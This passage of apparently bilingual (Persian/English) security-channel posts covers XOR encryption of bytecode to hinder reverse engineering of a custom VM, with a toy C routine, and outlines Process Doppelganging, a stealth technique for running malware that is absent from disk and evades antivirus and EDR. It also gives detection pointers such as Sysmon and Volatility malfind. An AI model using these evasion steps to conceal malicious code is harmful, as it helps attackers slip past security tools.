bytecode[i] = encrypted_bytecode[i] ^ KEY;
}
}
}





🧠 چرا این سخت می‌کنه؟

تحلیل‌گر داخل باینری هیچ نشانه‌ای از PUSH ADD یا PRINT نمیبینه چون bytecode رمز شده‌ست
فقط اگه کد decrypt رو درک کنه و bytecode رو در حافظه بعد از رمزگشایی بررسی کنه، متوجه میشه چه خبره


🔐 Bytecode Encryption & Execution Inside a Custom Virtual Machine (VM)




🎯 Goal:

To increase the resistance of your VM against reverse engineering by encrypting the bytecode and decrypting it only at runtime.




🤔 Why Encrypt the Bytecode?

If your bytecode is stored in plaintext inside the binary, no matter how complex your VM logic is, a skilled reverse engineer can eventually understand what the code does.

But if the bytecode is encrypted, it’s completely unreadable until it’s decrypted in memory during execution — making static analysis much harder.




🔒 Simple XOR Encryption

We’ll use a basic XOR scheme for encryption.

Key: 0xAA




🔧 Example

Original Bytecode:

01 0A 01 14 02 03

Encrypted using XOR 0xAA:

AB A0 AB BE A8 A9

This encrypted version is what gets embedded into your binary.




🧪 Runtime Decryption Inside the VM

#define KEY 0xAA

unsigned char encrypted_bytecode[] = {
0xFF, // fake nop (still there)
0xAB, 0xA0, // push 10 (encrypted)
0xAB, // fake
0xAB, 0xBE, // push 20 (encrypted)
0xFF, // fake
0xA8, // add (encrypted)
0xCD, // fake
0xA9 // print (encrypted)
};

unsigned char bytecode[sizeof(encrypted_bytecode)];

void decrypt_bytecode() {
for (int i = 0; i < sizeof(encrypted_bytecode); i++) {
switch (encrypted_bytecode[i]) {
case 0xFF: case 0xAB: case 0xCD:
bytecode[i] = encrypted_bytecode[i]; // leave fake ops as is
break;
default:
bytecode[i] = encrypted_bytecode[i] ^ KEY;
}
}
}




🧠 Why Is This Effective?

There's no trace of actual instructions like PUSH, ADD, or PRINT inside the binary.

Reverse engineers can't tell what will happen until the decryption logic runs

Even then, they’ll have to hook the VM at runtime or dump memory post-decryption to figure out the logic.


This adds a solid layer of obfuscation that slows down and frustrates reverse engineering efforts — especially when combined with junk instructions or virtualization tricks
2
– وقتی حتی دیسک هم نمی‌فهمه چی شد!

📎 بدافزاری که هیچوقت نشد – هنر Doppelganging


📌 این تکنیک چیه؟

برخلاف Process Hollowing که توش یه پردازش موجود رو دستکاری میکردی
اینجا یه پردازش فیک میسازی که حتی روی دیسک هم چیزی ازش دیده نمی‌شه 😮‍💨
دیسکش پاکه ولی پروسسش زنده‌ست!




🔥 چطوری کار می‌کنه؟

مراحل خلاصه‌ش اینه:

1 یه فایل مشروع رو با NtCreateSection باز میکنی


2 یه تراکنش NTFS باز میکنی (Transactional File)


3 داخل اون تراکنش فایل اجرایی رو تغییر میدی (یعنی بدافزارتو میریزی توش)


4 با استفاده از اون فایل در تراکنش یه پروسس جدید می‌سازی


5 بدون اینکه تراکنش commit بشه!



📌 یعنی چی؟ یعنی ویندوز هیچ‌وقت نمی‌فهمه همچین فایلی وجود داشته،
ولی پروسسش هنوز توی حافظه داره اجرا میشه 😶




🧪 چرا خیلی خفنه؟

آنتی‌ویروس‌ها نمی‌تونن از دیسک شناسایی‌اش کنن
لاگ فایل نداره
EDRها برای شناسایی باید خیلی عمیق باشن (و خیلی‌ها نیستن)




⚒️ ابزار واقعی برای اجراش:

ابزار معروف Process Doppelganging PoC از hasherezade

یا خودت با C / C++ و ntdll بنویسش




👁️‍🗨️ چطوری بفهمیم چنین چیزی توی سیستم اجرا شده؟

خیلی سخته ولی:

ابزارهایی مثل Sysmon با event های مشکوک می‌تونن کمک کنن

حافظه‌برداری با Volatility و بررسی PE‌های بدون مسیر فایل

بررسی پروسس‌هایی که PE header دارن ولی فایل فیزیکی ندارن


volatility -f mem.raw --profile=Win10x64_19041 malfind




🧠 جمع‌بندی:

Process Doppelganging یعنی:

> «بدافزاری که اجرا شده… بدون اینکه هیچ جا نوشته بشه!»



When Even the Disk Has No Clue!

📎 The Malware That Never Existed – The Art of Process Doppelgänging




📌 What’s the Idea?

Unlike Process Hollowing, where you hijack an existing process,
Process Doppelganging creates a fake process that doesn’t even exist on disk! 😮‍💨

The disk is clean
But the process is alive in memory




🔥 How Does It Work?

Here’s a simplified breakdown:

1 Open a legit executable using NtCreateSection.


2 Create a transactional NTFS file (TxF).


3 Modify the file inside the transaction – inject your malicious payload.


4 Use the modified transactional file to spawn a new process.


5 Don’t commit the transaction!






📌 What Does That Mean?

It means Windows never sees the modified file.
No file ever appears on disk — yet the process is running in memory. 😶




🧪 Why Is This So Powerful?

AVs can’t scan the disk – there’s nothing there.
No file logs to trace.
Most EDRs won’t detect it unless they go very deep (and many don’t).




⚒️ Real-World Tools:

Public PoC: Process Doppelgänging by hasherezade

Or roll your own in C/C++ using ntdll.dll and native APIs





👁️‍🗨️ How to Detect It?

It’s very tricky, but possible:

Tools like Sysmon may catch suspicious events

Memory forensics with Volatility

Look for processes with a PE header but no file path

Example command:

volatility -f mem.raw --profile=Win10x64_19041 malfind





🧠 Summary:

Process Doppelganging is:

>"Malware that runs… without ever being written to disk"
3